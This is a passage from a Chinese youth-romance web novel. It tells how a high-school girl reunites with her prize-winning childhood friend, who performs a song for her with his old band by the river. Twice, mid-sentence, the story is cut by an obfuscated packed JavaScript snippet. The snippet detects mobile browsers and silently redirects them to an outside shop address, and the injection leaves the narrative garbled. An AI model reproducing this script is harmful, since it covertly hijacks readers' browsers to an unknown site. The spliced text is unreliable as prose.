《逃往日落时分》 1. 七月 炎热七月,香樟树如荫如盖,蝉鸣不歇。 五楼办公室内,空调温度开得极低,冷气直往骨缝里钻。 一坐一站两个人,单方面的谈话声不止。 坐着的是高三一班的班主任李伟立,教数学,中年头发依旧浓密,说起话来眼角褶子堆起,跟尊乐山大佛似的。 “高考不是竞赛,比的不是单科拔尖,比的是综合能力,你轴是轴了,超纲题做得漂漂亮亮,满分!最后一题就不管了,甚至连个答字都没有,高三两个尖子班,整整九十九号人,池半夏,就你干出来这事!” 李伟立说到激动的时候,手里比划着手势,口里唾沫星子飞溅半空。 站在一旁的女孩,不动声色地往旁边侧了侧身,嘴上却乖乖回答:“李老师,确实是我没考虑好。” 李伟立问:“哪没考虑好?” 池半夏选择最稳妥的中译中:“不应该把过多的精力放在超纲题里,高考不是竞赛,比的是综合能力,谁的知识面更全,谁更细心,谁能在有限的时间内,取得最高完成度。 她说得情真意切,差点把自己都要感动了。 “错,池半夏,你是太自大,硬要跟自己拗劲。” 李伟立最擅长用乐呵呵的语气,说出最犀利、直往心窝里戳的话。 “一中最不缺有点天赋的学生,也最不缺有天赋还比你努力的人。”中年男人悠哉翘着二郎腿,摇着剪刀手,“光荣榜末排黑马逆袭省状元的,我在一中二十来年,往上再数再二十,也只见过两回!” “可每年在榜失意A大B大的,到底是件多常见的事,你应该心里门清儿。” 池半夏说:“老师我知道。” 李伟立瞅了她一眼,抿了口保温杯里的红枣枸杞茶,才又慢条斯理地开口:“语文一直是你的薄弱项,尤其是要在作文方面多下功夫。” “陆慕齐这次作文满分,你跟他关系不错,也去请教请教。” 刚打完巴掌精神涤荡洗礼后,现在到了给甜枣给关怀环节,这位在一中资质极深,数年连评优秀教师的班主任,相当深谙此道。 池半夏应道:“嗯,我知道了。” 李伟立大嗓门:“别光知道,要动起来!” 池半夏连忙顺着:“回去就问。” 李伟立有操不完的心:“嘴上光问问怎么行,要借来看,好记性不如烂笔头,分析一下得分要点,看看人家的得分论据!” “作文满分卷已经贴模范墙上了,我难不成还能抠下来……” 池半夏抬眼,正对上神情顿住的李伟立,他显然是忘了这茬事。 李伟立清了清嗓子,岔开话题:“即将步入高三,大家心理压力都大,好好调整一下。 “行了,回班吧。” 池半夏“嗯”了声:“谢谢老师。” “哎——” 刚转身的池半夏回头:“李老师,还有什么事吗?” “这两天和贺初衍有联系吗?” 池半夏垂在腿侧的指尖微蜷。 “没有。” 李伟立深深瞥了眼爱徒:“班上还有小半节自习,晚上学校放假,回家好好休息,别想太多。” “知道了,李老师。” 池半夏把办公室门合上。 刚走出几步,从没关严的窗户缝,传出大喇喇的嗓音。 “我刚刚问了小青梅,人都联系不上,老何你也别管了,就省省心吧!” “什么包庇?那冤家性子野惯了,主意也大得很,这么大人了,还能丢了不成!” “他外语比你利索多了,照我说,就算你丢了,也丢不了他!” …… 池半夏瞥见走廊走来一个中年男老师,才重新迈步。 校内蝉鸣喧闹,此时临近放课的点,高三各班都在自习。 四天前刚结束月考。 一中菁湖校区的阅卷速度在整个南江市,都是地狱级别的存在,满打满算不超过两天,新的光荣榜就重新张贴好了。 左理右文,各取年级前三十名。 池半夏回教室路上,看到两个女生站在光荣榜正对面。 一眼落在左边第一名的位置。 视线下移。 池半夏年级二十三名 “陆慕齐,第一名的名字好好听啊。”高马尾女生说,“采访一下,没在第一名看到你男神的名字,是什么感觉?” 另一个齐耳短发女生说:“毕竟人家参加竞赛去了,真的人比人气死人啊,有的人还在为画受力分析图秃头,有的人就已经得到物竞金牌,高二就保送A大了!” “那个竞赛名叫什么来着?” “IPao?IPoI?到底叫什么来着……” “我一下子也不记得了。” 传来麻雀般的交谈声,池半夏心里默默纠正了竞赛名称。 IPhO,前天在瑞士苏黎世顺利闭幕,国队包揽世界前四,全员金牌。 贺初衍是唯二以高二生身份参加国队的,保送A大。 “哎,你说,他高三是不是就不会来学校了?” “换你你来吗?” “我肯定不来啊。” “等下——”高马尾女生拖长语调,“你怎么这么在意这个啊,铁暗恋吧?” “别瞎说!”短发女生脸颊通红,“那是我的偶像,偶像懂不懂,我是要向他学习!” 池半夏也不知道怎么没能挪动腿。 在这个格外炎热的七月,贺初衍的捷报传遍整座一中,就连外校都在火热讨论。 他光芒万丈,而她灰心丧气。 “我不懂,我怎么会懂呢?我完全不懂你跟偶像学习,到底在脸红什么?” “我没有脸红,是天太热了!” 两个女生推搡笑闹着。 池半夏脚尖被很重地踩了一下。 短发女生被吓了一大跳,连忙回头:“对不起啊!” “没事。” 清泉般的女声,在黏滞热流里显得格外好听。 过了好一会,她们呆呆看着消失在走廊尽头的背影。 少女身量纤细,乌黑直发披肩,转身时半露一截清透侧脸,黄昏宁静,为她渡上一层柔和晕色。 “妈呀,我刚刚是看到仙女了吗?” “应该是学姐吧,这时候也就高三在补课了……” 像她们这种偷溜进学校的准高一生,才有时间在外面乱逛。 - 池半夏在教室门口被关子啸堵住,递来掌心上一大把大白兔奶糖。 关子啸是贺初衍好哥们,长得浓眉大眼的,还高,站在面前像是一堵墙。 “夏姐,吃点糖。” 话音刚落,身后传来一道熟悉女声。 “我靠,谁拿我糖了?” 顿时被告发:“报告组织,我亲眼见是啸天拿了!他还在上供呢!” 关子啸虎躯一震,回头谄媚地笑:“姑奶奶,借几颗糖,回头还你一袋!” 池半夏抬眼看去,课桌上糖山塌成废墟,是陈文熙习惯性的解压法子。 她的口头禅一向是,糖山在她在,糖山倒她锄了罪魁祸首! 果然陈文熙恶狠狠地说:“三袋!” “两袋!” “四袋!” 关子啸一听不干了:“怎么还坐地起价呢!” 陈文熙和善微笑:“五袋。” 关子啸咬牙道:“行行行五袋,您是我姑奶奶,您说了都算。 模糊的白色圆点朝他胸膛咻得飞来。 关子啸接在手心,是一颗大白兔奶糖。 陈文熙唇角翘起:“啸天啊,这是爸爸给你的赏赐。” 关子啸语重心长:“女孩子家家的,不要整天爸爸来爸爸去。” “爸爸,就爸爸。” “哎,乖女!” “谢谢乖女的糖!” “狗啸天!你有种别回来!” “哎,我没种。”关子啸贱兮兮地笑,“我就要回来了怎么着。” 池半夏站在一旁,看着这对冤家斗嘴,终于噗嗤笑出了声。 关子啸嬉皮笑脸:“哇,我们夏姐一笑,整个世界都亮了!” “啸天你世界亮成啥模样了!” 关子啸搔首弄姿:“十万伏特,好比皮卡丘在我心中开了弹电枪!啾咪啾咪!撒浪嘿呦!” “救命救命!SOS!好恶心!翠李,给我打烂他的嘴!” “哈哈哈哈哈哈卧槽我的眼睛到底经历了什么!” “哈哈哈哈哈哈啸天你要不要看看夏姐表情,哈哈哈快要被你肉麻跑了!” “小心贺哥回来揍你!” “小心贺哥回来扇你!” “小心贺哥回来打烂你的嘴!” …… 七嘴八舌的起哄。 池半夏和贺初衍自小认识,青梅竹马,也不会特意避着关系亲近。 班上的人对他们的起哄,她早就习惯免疫。 甚至还能跟着一起开玩笑。 “小心贺初衍回来教你做人。” 关子啸妖娆地比了个OK的手势,表示把大家的爱通通接好。 太辣眼睛。 终于被群起攻之。 回到座位,池半夏才知道班上闹腾成菜市场的原因。 物理老师吴镇华提前十五分钟先溜了,施施然留下两道自编题。 这个年纪的少年少女没有不好胜心强的,谁都不服谁,瞅对方都是凭啥比我装,纷纷像是嗅到肉骨头的猎犬。 比起隔壁二班的死水寂静,简直冰火两重天。 池半夏跨过空位,坐下看了眼物理题,简单列下要点。 陈文熙回头瞥了眼,眼睛瞬间一亮:“半夏老婆你真是天才宝贝!” “我这脑子怎么就没想到,没有我的宝贝我可怎么活!” 池半夏摸了摸她的脑袋。 被众人暴锤了一餐的关子啸,慢悠悠回到座位,低头瞥向手机。 啸天吟:[光荣榜图片] C:知道了 最后一条消息还停留在两天前。 他衍哥到底哪去了?人间蒸发都不带这么彻底的。 明明这人对小青梅的事,自小就上心到疯狂的地步。 还好笑了。 也不算辱没了交代给他的任务。 - 一中难得的晚假,众人补课的去补课,回家卷的回家卷,也有聚众去吃日料的。 池半夏哪都不想去,更不想回家,反正家里也是空荡荡的。 一中校服太显眼,她拿出抽屉里的备用常服,塞到书包里,特意到实验楼的一楼卫生间换掉,白T和水蓝牛仔裤,干净清爽的打扮。 池半夏混着人流,一路出了校门,回过神却发现自己来了筒子楼。 南江这十年飞速发展,新区旧区只隔着一座江边大桥,池半夏早年家里住在旧区的筒子楼里。 后来父亲池建兴从体制内辞工,下海经商,创办自己的互联网广告公司,母亲瞿丽君也从外企辞职,两人强强联手,做大做强。 零七年,池家搬进新区的高级住宅区,跟贺家做了邻居。 池半夏也是那年认识贺初衍的。 小电驴随意停在楼下,筒子楼老旧,长长的走廊串联着单间,竖出来的吊线,大喇喇吊着五颜六色的衣物和内衣。 池半夏就坐在以前自家楼下的石墩上,也不知道大晚上,饿着肚子,跑到筒子楼喂蚊子是图什么。 晚风吹到身上都是热流,池半夏托腮,甚至开始想像她今夜意外身亡,父母有多悲痛多后悔,没有在她在世时,对她多一些关心。 至于贺初衍那个冤家,也要终生悔恨为什么在自己水深火热的时候,他一个人在苏黎世逍遥快乐。 他懂什么德语,待这么久,干脆不要回来了。 “大晚上不回家,搁这扮演路灯下的小姑娘,饿了肚子,饱了蚊子?” 好熟悉的欠揍配方。 一瞬间,池半夏怀疑耳朵出问题了。 抬头,愣愣地看着来人。 老式路灯映着白色灯光,飞虫缠绕成线,少年高瘦身躯背光,头顶打下圈漂亮光晕,神情看不分明,整个人像是曝在耀眼光芒里。 他明明在苏黎世游玩才对。 池半夏问:“你怎么找到我的?” 贺初衍口吻理所应当:“大小姐,你真是一点没变,总是好猜。” 池半夏怔然。 她小时候不开心,总是会躲起来。 明明每次换了地方,却总能被他找到。 半空中划过一道漂亮抛物线,怀里被丢了块三明治,池半夏是真饿了,顾不得回怼,默默拆封。 她闷声:“说得你多了解我一样。” “至少知道某个路灯下的小姑娘,现在压根不想回家。” “……那倒是。” 贺初衍轻车熟路地找到她停在角落黑暗里的小电驴。 池半夏三下五除二解决掉三明治。 这才发现这人穿着身黑T,大喇喇坐在后座,脚下踩着涂鸦嚣张的球鞋,双臂交叠随意撑在坐垫,后背肩胛骨鼓起钝角,身形瘦削利落。 池半夏慢吞吞挪过去:“我搭你啊?” 贺初衍抬眼,偏淡瞳色似浸笑意,他这双眼眸看狗都深情,混蛋又无辜。 “不你搭我,我搭你?” 明明是问话,硬生生被他说出种赏赐快谢恩的大少爷架势。 池半夏一时不备,被晃了眼,干巴巴来了句:“我是怕憋屈你这大长腿。” “大小姐多虑了。”贺初衍目光示意,“赶时间啊。” 对视间对峙。 贺初衍微抬下巴:“给你个礼物。” 怪屈尊降贵的。 池半夏扫视了眼,全身上下都没有个背包,嫌弃地想,这能拿出什么像样的礼物。 贺初衍坦然回视,视线这东西,对他来说就是白开水,从小到大数不胜数,艳羡的、嫉妒的、不怀好意的、巴结的……他要是在意,迟早能把自己憋死。 可把他像是犯人从头上下审视遍的,也就眼前这小青梅。 “大小姐看够了?知道够帅了,晚些随您想看多久就多久,想欣赏多久就多久。给您当雕塑模特,脱光了那种都成,现在能请您利索些上车吗?” “真赶时间。” 池半夏反正没看出来他哪急,八风不动的,长腿随意斜着,语调还微微拖长。 “谁要你脱光,就你这白切鸡身材,别说我不搞雕塑,就是我搞,也不——” 对方突兀了来句:“你摸过吗?” 池半夏以为耳朵坏了:“没……” “没摸过,你怎么知道是白切鸡?”贺初衍妄自断言,“哦,你偷看过我换衣服。” 池半夏觉得深受不白之冤:“我没有!” 她简直比窦娥还冤。 贺初衍朝着她的方向倾身,胸膛吊的那块牛骨拨片轻晃,纯黑的,一轮银弧斜划过水滴尾巴尖,特晃眼。 “大小姐怎么可能偷看人换衣服,对吧?” 池半夏迟疑地想要不要点头。 “偷看过,说不出这话。” 池半夏:“……” 真想把这混球打包回苏黎世。 不想继续搭腔,一巴掌呼在他的小臂。 “起来。” 贺大少爷挨了打,反倒怠散笑了,押长两条手臂,伸了个懒腰,黑猫打盹似的。 这才直起身,乌黑利落发梢有些杂乱,被晚风轻扬起,眉目散漫,比例夸张的大长腿无处安放。 池半夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634137|143697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 懒得问到底是什么礼物,八成是说都坐你车后座了,不就是给你的最大恩赐。 他是真能干出来这事。 池半夏骑出筒子楼一段路,才想起来:“去哪?” “江边。” “大晚上去江边做什么?总不是闲着去无聊兜风吧?” “不比你傻坐着喂蚊子好?” 池半夏被他一句反问噎住。 这人好烦。 又按耐不住好奇心:“我们到底去做什么?” 她才不相信贺初衍大晚上无聊兜风。 这人长着一张“祸国殃民”的花瓶脸,性子却是一等一的浑,别看平日里瞧着散漫,实则相处过的人都知道,心掰开了是黑芝麻馅,有的没的,他心里门清。 只有他哄得旁人团团转,被卖了还替他数钱,还没有人在他身上讨得半分便宜。 反正池半夏至今还没见到过。 没人回答。 “贺初衍,你听到没?” 还是没人回答。 “贺初衍,我知道你听到了,你有本事坐我后座,没本事回答我啊。” 身后灌着满耳风声,混入声笑,闷在喉咙似的。 “拉着你跳江殉情行不?” 池半夏:“……” “神经,我看你是活腻了,想半夜跳江上头条。 “低头。” “贺初衍,我跟你说,我可是在骑车,你不想活了,别带我一车两命——” 从身后伸来的手,将手里的吊带直直从头顶穿过,动作甚至算不上温柔,跟乌黑发丝胡乱缠绕到一处。 “你往我脖子上栓了什……” 池半夏匆匆垂眼,竟然看到了一块金牌,就在她胸前挂着。 无数人企及一生都够不到,就这样被他随意拿来送人。 就像是过去整整九年,少年所有的奖牌、奖状证书、奖杯,无一都是送给她。 “老婆本。” “大小姐,你可要帮我看好了,不然我以后找不到女朋友,就要赖上你了。” 恣意随性、又混蛋。 “嗡——嗡——” 爆破巨响袭击耳膜,侧方有人加速超车,疾驰而去。 池半夏猛地回神,快要跳出嗓子眼的鲜活心跳声,晃着整座城市的巨大躁鸣,重新朝她沉沉覆来。 狂野机车男孩狂飙在夜色尽头。 呲呀——车轮跟地面摩擦,发出尖锐刹车声响。 突来的变故。 少年手掌撑住后座,手背青筋凸起,下颌和后背绷紧生硬线条,才没有让自己前倾砸到身前女孩。 这小身板哪经得起他撞。 小电驴硬生生停在街旁。 两道昏黄影子被路灯斜斜拉长。 池半夏没被机车狂野男孩吓到,反被自己条件反射的刹车吓倒。 又想起身后的大少爷,却在偏头时,一眼瞥到都伸到脚旁的长腿。 目光一顿。 环卫绿化喷洒车应该经过不久,沥青路面湿漉漉的,他脚下踩着的限量版球鞋,因着刚刚的剐蹭,侧边溅上一条显眼污线。 池半夏心想糟了。 这混球有四样东西,旁人是碰不得的,改装山地车、单反、拨片,还有……就是球鞋,用他好哥们关子啸的话来说,这都是他的小老婆,得是以后正宫大老婆才能糟蹋的。 身后传来混着笑的嗓音,格外皮不笑肉不笑的:“说吧,都筹划多久了,整这出报复我呢?” “……才没有。” 池半夏拿出一贯的无辜:“我也是受害者。” 后座传来动静,斜影从身侧打来。 少年生得高,初中时就是一堆土豆堆里的小白杨,高一暑假更是抽条,小白杨秒变仙鹤,上次量还是一八五,这会看着更高了,大有冲破一米九大关之势。 尤其是她坐在小电驴上,他往她侧边一站,半垂视线瞥来,微薄眼尾稍挑,睥睨的劲,压摄力十足。 池半夏仰头回视,总觉得落了下风,暗自挺直后背:“你干什么?” 贺初衍张口就来:“大小姐,你倒是真想跟我殉情,情真意切的,我寻思还没看到曼哈顿悬日,五月没赶上,想着七月快到了,今晚还不是时候。” 池半夏瞪他。 谁要跟你殉情了……自恋不自恋。 “起来吧大小姐,照你这样骑,百八十年我们都到不了江边。” 池半夏完全不愿挪开。 俯视的目光下,总算说了句:“坐后座不舒服。 贺初衍淡瞥她,满眼都是——那你刚开始磨叽什么? 见他转身。 “等下。” 池半夏突然起身,从另外一边下车。 “不是嫌不舒服?” “毕竟贺大少爷卖苦力,是奇观,是世界第九大奇迹。” 肩后一缕乌黑发稍微微晃动,微光跳跃。 池半夏从善如流地坐到后座,不忘掬起披肩长发,往后背利落一甩,跟脖子上的金牌吊带分离,双手扶在坐垫下头两侧,双脚也老老实实踩上踏板。 “你就没给我带什么纪念品回来?” 她的眼眸黑白分明,双眼皮很浅,眼睫却乌黑浓长,微微抬眼看人时,用闺蜜施晓潇的话来说,特清纯,纯得能当她主pick的少女偶像,她完全受不了,简直妈欲大爆发。 可向来眼高于顶、目空无人的贺大少爷,显然眼盲心也盲。 “这是眼睛进沙了,要我给你吹啊?” 池半夏隐蔽地翻了个白眼。 “我知道你带了,劝你别装。” “特装就一点都不帅了。” 贺初衍虚抱双臂,随意杵在那,大有一副听你还能继续说出什么疯话的架势。 激将法不成,池半夏果断改变策略:“我还知道想追贺大少爷的人,都从一中排到巴黎铁塔了,您最帅,最酷,最带劲,您可还满意?” 贺初衍似是哼笑了声。 长腿迈上小电驴,他的肩膀宽直,后背却是少年人的瘦削,罩住路灯垂下的白色灯光。 “夸的一般,再接再厉。” “然后呢?” “没有然后。” “你在苏黎世玩两天了,都没时间给我带纪念品吗?” “单是回南江的航班都坐了二十二小时,满打满算我也就待了一天。” “那也有一天,LindtHomeofChocolate就在那,你要是有心,五分钟都会想起给我带。” “五分钟能飞到巧克力之家,这算是人类奇迹,你给我示范一下?” 池半夏:“……” “你就有这么小气?” “哦,给你带了把瑞士军刀。” “别以为我不知道飞机不让带。” “走的托运。” 池半夏将信将疑:“你真带了?你明明知道我喜欢巧克力,阿衍,你最好是在骗我,不然我明天就把你那些奖牌奖杯,你全部的老婆本都挂到网上卖。” “然后呢。” “然后转卖给某个姓贺的冤大头,我自己去买巧克力。” “行啊,拿着我的老婆本,来贿赂我。池半夏,你够敢想的。” “那是,你不仁我自然不——” 滋——车轮启动。 突如其来的“后坐力”,池半夏不受控制地朝后仰去。 晚风扬起乌黑发梢,盛开黑瀑与风声缠绕,慌乱间,女孩伸出纤细双臂,紧紧环住少年的腰。 极淡的薄荷香气撞过鼻尖。 耳畔呼过夏夜风声,晃得香樟树影簌簌,身后单车铃铛声响……明明世界这样喧闹,却在一瞬被划上休止符。 少年气的得逞肆意笑声,从紧贴后背传来。 胸膛好似钻入蝉鸣,与盛夏交响。 2. 江边 一路驶到江边,江边大桥横跨江面,粼粼水波被霓虹灯光点亮。 小电驴被停在南口处。 贺初衍随手捞过前篮里的黑色书包。 池半夏看了眼:“里面没什么。” 意思是放在篮子里就行。 贺初衍偏头瞥了她一眼,把书包单肩背在身后,自顾自迈开长腿。 养尊处优的大少爷想背包,还能拦着吗? 池半夏反正不用自己背,懒得管他。 把脖子上的金牌塞到贺初衍手里。 他们沿着石质阶梯下去。 晚风吹到身上,混着几分淡淡清凉。 贺初衍走得慢,池半夏加快几个小步,就跟他并肩上了。 滋啦—— 池半夏还在看江边夜景,她耳尖,瞬间捕捉到这轻微隐约的动静。 转头就看到,贺初衍从她的书包里拿出个礼品袋。 真不知道这人什么时候塞进去的。 贺初衍朝她递过来。 池半夏接到手里。 打开礼品袋,发现里面真的是瑞士军刀,做成mp3造型,木桐色的复古工艺。 话里带着无语:“还真是瑞士军刀。” 贺初衍:“骗你做什么。” “多好的刀,适合防狼。” 池半夏冷笑:“刚好用来防你。” 贺初衍说:“这瑞士军刀可是我千里迢迢托运回来的,为了顺利取到,还耽误了我十分钟。” “大小姐,你这样是不是太没良心?” 池半夏从善如流地接话:“少爷您放心,为了你这感天动地惊心动魄的十分钟,我一定用来好好防您,绝对不辜负您的良苦用心。” 贺初衍冷嗤一声。 池半夏本想乘胜追击,突然发现礼品袋拿在手里,还有不少的重量,明显不是空袋。 她刚刚被瑞士军刀吸引了所有注意力,这会才看到里面的隔层。 竟然被她翻出盒手工巧克力。 “哎呀,贺大少爷,怪不好意思的,送惊喜还藏着掖着。” 池半夏不客气地当面拆开。 却在看清眼前的珍稀物种后,唇角扬起的弧度僵住。 眼前这盒白巧克力,风格相当的后现代主义,应该不能再称之为巧克力这种地球上普通的物种了。 每一颗都长得奇形怪状,说它们歪瓜裂枣,都对不起这外星变异的奇观长相。 池半夏组织了下语言:“变异物种大逃杀?” 贺初衍说:“不然做得太漂亮,被你倒打一耙,说我拿买的骗你,那我多冤枉。 实在是有歪理到丧心病狂。 池半夏拿了颗酷似名画《呐喊》的奇行种,咬得作响,那架势像是嚼碎某人的脑袋。 越往里走,聒噪的音乐声响越发震耳欲聋。 不像是江边,反倒让人误以为闯入大型露天蹦迪现场。 池半夏微皱眉头,忍受了一路。 在一串本人自认为听起来极为响亮牛逼,但凡有一点鉴赏水平,都难以欣赏的乌七八糟的噪音下,烦躁在此时到了极点。 这架子鼓敲的是什么,丝毫鼓点的美感都没有了。 忍不住嘟囔:“这都什么鬼哭狼嚎。” 贺初衍压根懒得投去半分视线:“只能说,敲的想法很大胆。” 池半夏撇了撇嘴,加快脚步,还不忘吃着手里的巧克力。 一吃就是大半盒。 没想到这些奇行种卖相不怎么样,吃起来这么上瘾。 池半夏嗓音含糊道:“唔,味道还不错,我还以为你是想毒死我。” 贺初衍口吻淡淡:“据我所知,巧克力中的可可碱和咖啡因,对狗来说是剧毒。”* 池半夏说:“我怎么觉得你这话里有话。” “有么。”贺初衍说,“我只是在陈述事实。” “贺初衍——” 池半夏猝不及防转身,高扬起手臂。 却被轻而易举捉住手腕。 贺初衍仗着身高压制,微挑了下眉毛。 简直八分看轻,十分挑衅。 池半夏心想退一步,越想越吃亏,深知打蛇打七寸,收拾某人要来戳心口的。 于是一跺脚,准确无误地踩到了球鞋上面。 贺大少爷顿时揪起眉头,低头看了眼对方的“杰作”。 抬眼:“池半夏,你今晚别想睡了。” 池半夏回看:“我为什么要听你的?” 贺初衍微扯唇角,格外皮笑肉不笑的:“因为我要按着你,一点点把我的球鞋洗干净。” “我可以督促你。”池半夏仰着头,露出漂亮无害的笑容,“毕竟我帮你吃掉了你不能吃的食物。” “赶紧松开你的狗爪。” 贺初衍自然没松劲:“怎么?踩完鞋就想跑。” “这世上哪有这么好的事?” “时间快到了,先别甜甜蜜蜜了。” “感情还这么好呢。” 突如其来的声音从身后传来。 “谁跟他感情好——” 池半夏转头反驳,却对上两张的熟悉面容。 眼前站着个瘦高个,戴着副银质眼镜,一身黑白格子衬衫,几分斯文气,乍一眼看去,显得有些内敛呆板。 旁边站着的男生稍矮,满头杂乱的招牌黄毛,早就被染回了黑色顺毛,一张娃娃脸圆润不少。 池半夏眼眸缓缓眨了两下,继而涌出惊喜。 “大黄!眼镜儿!” 转过头,看着贺初衍,满眼好狗不挡道,还不快松手。 贺初衍唇角一扯,总算松手。 池半夏揉了揉手腕,在灯光下,依稀看到白皙腕间泛起的红印。 “什么狗劲……” 贺初衍:“装什么池黛玉。” 池半夏懒得搭腔,而是熟稔地拍了拍黄毅宗的臂膀:“大黄,你最近伙食不错,都发福了。” 黄毅宗忍不住唇角抽搐:“仙女,这么久没见,你这嘴还跟抹了蜜似的。” “淬了毒还差不多。” 身后再次传来某位贺姓大少爷的吐槽。 徐宥揽住贺初衍的肩膀:“大少爷莫说仙女,照哥们我看,你这嘴怕是要荣登‘群众最希望被捐的一张嘴’排行榜的榜首。” 黄毅宗附和:“臣附议,一万两千颗心都在附议。” 池半夏得意:“看看吧,群众的眼睛是雪亮的。” 贺初衍懒懒甩开徐宥的手臂,一个利落跨步,站上提前搭好的台面。 眼前是一方露天舞台,被霓虹灯光照亮的夜空铺就深远幕布。 黄毅宗和徐宥跟着跨上去。 三人在舞台上站定。 黄毅宗侧头:“少爷,灯光这边要就绪吗?” 贺初衍反问:“还用问我?” “我靠,少爷你不b真是活不下去。” 贺初衍喉结上下滚了下,溢出一声混笑。 “欠的是吧?” 黄毅宗反倒乐了:“我怎么听少爷骂人这么带劲。” “卧槽,我是不是有点不正常?” 贺初衍丝毫不客气:“受虐倾向别太严重。” 池半夏满脸一言难尽,冲台上说:“没救了,年纪轻轻就瞎了。” 黄毅宗:“……” 不是,他就是觉得少爷带劲而已。 怎么一个个用看绝症患者的悲痛目光看着他。 唯一被迫稳重的徐宥,无奈摇了摇头:“大黄,开灯!” “哦哦,来了!”黄毅宗朝着台下的池半夏惊喜预告,“仙女,等着看惊喜!” 然后弯腰,任劳任怨地打开开关。 最先亮起的是,被做成火红架子鼓造型的灯牌,高高悬挂在半空。 勾勒出三道并肩而立的人影。 池半夏站在台下。 晚风轻扬过乌黑发丝,她突然想到自己已经快三年没碰过架子鼓了。 随着一盏盏顶灯亮起,点亮舞台中央那道瘦削身形,贺初衍斜挎着把黑金电吉他,侧脸张扬又耀眼。 徐宥身前挂着闷骚紫的贝斯,黄毅宗站在绘满黑白动漫涂鸦的键盘前。 伴奏渐起,响亮好听的口哨声响起。 像是夺目流星划破夜空。 贺初衍开嗓。 Don''tletyourheadhanglow (不要将头深深低垂) You''veseenthedarkestskiesIknow (我知道你曾看见过黯淡夜空) Letyourheartrunchildlikehorsesinthewild (女孩,敞开心扉,驰奔旷野)* 是他们三年前曾参赛的歌曲。 池半夏无法将视线从眼前夺目的一幕移开。 响起鼓点的瞬间,池半夏听出来这是自己那时录下的架子鼓solo。 久违的熟悉感满溢心间。 不打不相识、不曾被谁看好,甚至被取笑是“一个猴子,一个眼镜,一个花瓶,一个小学生”的四人组合。 构成三年前那个疯狂肆意的乐队。 过去和此时在眼前重合。 将她扯回到那个无尽烈夏的漩涡中。 直到最后一段清唱传来,少年独有的清朗嗓音,带着几分变声期的沉。 仿若流星渐明渐暗的拖曳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634138|143697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痕迹。 Thesunitglowslikegold (看这烈阳如金,熠熠生辉) Feelingwarmasaburningcoal (骄阳似火) Letyoursoulshinebrightlikediamondsinthesky (你心闪耀,璀璨当空) Sotakemyhandandhomewe''llgo (牵着我的手,我们一起回家)* 满目耀眼镭射灯光下,少年一把电吉他,汗珠滚落锋利喉结,朝台下扔拨片,燃烧起夏夜烈焰。 他说:“献给我认识的最勇敢的女孩。” 台上台下,目光对视。 滚烫蝉鸣般的心跳响起。 池半夏来不及感动一秒,就被身边杀鸡般的尖叫声,险些刺穿本就脆弱的耳膜。 咬牙忍住没能打转的眼泪,顿时吓了回去。 转头,正对上旁边女生眼里激动的小目光。 是个漂亮很会打扮的女生。 “真的好帅!” 女生凑得很近,很自来熟地跟她搭话:“关键是唱歌好好听,弹的也好。” “比那群不懂装懂的好多了,不知道敲的什么架子鼓,说是给我庆生,我还以为他要在我坟头蹦迪呢,在那里待着简直是精神折磨。” 池半夏从她抱怨话语里,总算得知那惨绝人寰的噪音污染,究竟是从何而来。 整个场地的尖叫声在蒸腾、盘旋,如屠宰场般冷酷无情。 这年头的化学攻击,属实可怕。 也到了此时,池半夏才发现身旁围满了不少人。 不知道什么时候被吸引过来的。 “让开让开!” “听到没,快他妈都让开!” 来势汹汹的嗓音响起,在人堆里破开一条道路。 打头的是一个满头杂乱的黄毛,脖子上一串银色大铁链,骷髅衫破洞裤,特别有八九十年代迪斯科风范。 身后跟着七八个不良少年。 紧紧跟在旁边的小弟嚷着嗓子,仰着鼻孔看人:“不知道我们老大,今晚在江边摆了场子,要给女神庆生?你们知道是惹到谁了吗?” 黄毅宗顿时听乐了,他早几年刺头惯了,自认黄毛破洞裤都是他玩剩下的,完全看热闹不嫌事大:“少爷,这是来找你茬的,这你能忍?” 贺初衍唇角微扯:“这都谁?” 徐宥仔细瞧了瞧:“哦,旁边职高的,打头的是老大。” “管他老大还是金毛狮王。”黄毅宗继续拱火道,“少爷你搞砸别人的浪漫计划,别人来找你算账咯。” 贺初衍:“关我什么事。” 黄毅宗:“你没听到场下的尖叫,要多疯有多疯,风头都被你占了,不高兴了咯!” 黄毛嘴角止不住抽搐,来算账,结果这俩人当面聊上了不算,还一唱一和的阴阳怪气。 面子挂不住,脸都彻底黑了。 贺初衍随手把电吉他一抛。 旁边的黄毅宗稳稳接住。 贺初衍长腿一跨,大马金刀地踩着舞台边凸起的阻障。 朝台下微扬下巴,一股睥睨的劲:“怎么着,这是想砸场子?” 整个人张狂嚣张得不行。 Bking人设不倒。 这架势够足,底下一群人被唬住,一时都没有反应过来。 一片沉默中,贺大少爷懒懒开腔:“急什么,江湖有江湖的规矩,彻底些好,腿在这里又跑不掉。” 池半夏听到“怎么着,这是想砸场子”后,就默默往人群外退。 贺初衍的藏头暗号很明显。 ——即将撤退。 音响被长腿踢倒,发出轰鸣刺耳的动静。 贺初衍左掌撑住台面,一个利落斜跨,从高台斜翻而下。 另外两人各一个推车,朝着不同方向跑走。 黄毅宗边跑,还不忘回头叮嘱:“台是租借的,损坏要被抓去陪警察叔叔喝茶的!不信就大可试试,前几天刚被逮进去几个!” 一切发生在电闪火石之间。 